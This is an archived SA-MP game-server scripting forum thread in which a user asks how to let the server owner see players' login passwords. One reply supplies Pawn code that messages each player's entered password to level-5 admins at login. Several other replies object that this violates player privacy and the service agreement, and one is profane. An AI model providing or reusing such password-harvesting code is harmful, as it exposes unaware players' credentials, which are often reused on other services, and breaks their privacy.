Help me get password - Printable Version
+- SA-MP Forums Archive (
https://sampforum.blast.hk)
+-- Forum: SA-MP Scripting and Plugins (
https://sampforum.blast.hk/forumdisplay.php?fid=8)
+--- Forum: Scripting Help (
https://sampforum.blast.hk/forumdisplay.php?fid=12)
+--- Thread: Help me get password (
/showthread.php?tid=621524)
Help me get password -
gogo45 - 12.11.2016
how do I make a player to log into the games can present her password, which can be a special level 5 server owner
Sample
Test(0) has logged in the server (password
. how do I make it
Re: Help me get password -
IceBilizard - 12.11.2016
You mean like if any one login into server so their password will show to server owner?
Re: Help me get password -
gogo45 - 12.11.2016
Quote:
Originally Posted by IceBilizard
You mean like if any one login into server so their password will show to server owner?
|
yes that's what I mean, what can you do right for me
Re: Help me get password -
IceBilizard - 12.11.2016
Yes its simple
Add this somewhere in your script
PHP код:
SendMessageToAdmins(color, message[])
{
for (new i = 0; i < MAX_PLAYERS; i++)
{
if(IsPlayerConnected(i))
{
if (PlayerInfo[i][AdminLevel] >= 5) SendClientMessage(i, color, message);//You can change admin system or variable with your admin system
}
}
}
then use this code at your dialog login if player logged in successfully
PHP код:
new playername[64];
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
format(string, sizeof(string), "Player %s(%ID), has logged in the server with password: %s", playername, inputtext);
SendMessageToAdmins(COLOR_WHITE, string);
Re: Help me get password -
X337 - 12.11.2016
What is the purpose you want to know your player's password?
That is your player's privacy, you should not doing that.
Re: Help me get password -
SyS - 12.11.2016
can you tell me your server name so that i wont accidentally get in there?
Re: Help me get password -
Threshold - 12.11.2016
https://www.sa-mp.com/service_agreement.txt
Now go fuck yourself.
Re: Help me get password -
gogo45 - 12.11.2016
Quote:
Originally Posted by IceBilizard
Yes its simple
Add this somewhere in your script
PHP код:
SendMessageToAdmins(color, message[])
{
for (new i = 0; i < MAX_PLAYERS; i++)
{
if(IsPlayerConnected(i))
{
if (PlayerInfo[i][AdminLevel] >= 5) SendClientMessage(i, color, message);//You can change admin system or variable with your admin system
}
}
}
then use this code at your dialog login if player logged in successfully
PHP код:
new playername[64];
GetPlayerName(playerid, playername, MAX_PLAYER_NAME);
format(string, sizeof(string), "Player %s(%ID), has logged in the server with password: %s", playername, inputtext);
SendMessageToAdmins(COLOR_WHITE, string);
|
the password is not active when I test his password to log into the games not lit.
Re: Help me get password -
Micko123 - 12.11.2016
Don't beg here for help when your server loose some players mate..
Re: Help me get password -
gogo45 - 12.11.2016
Help me please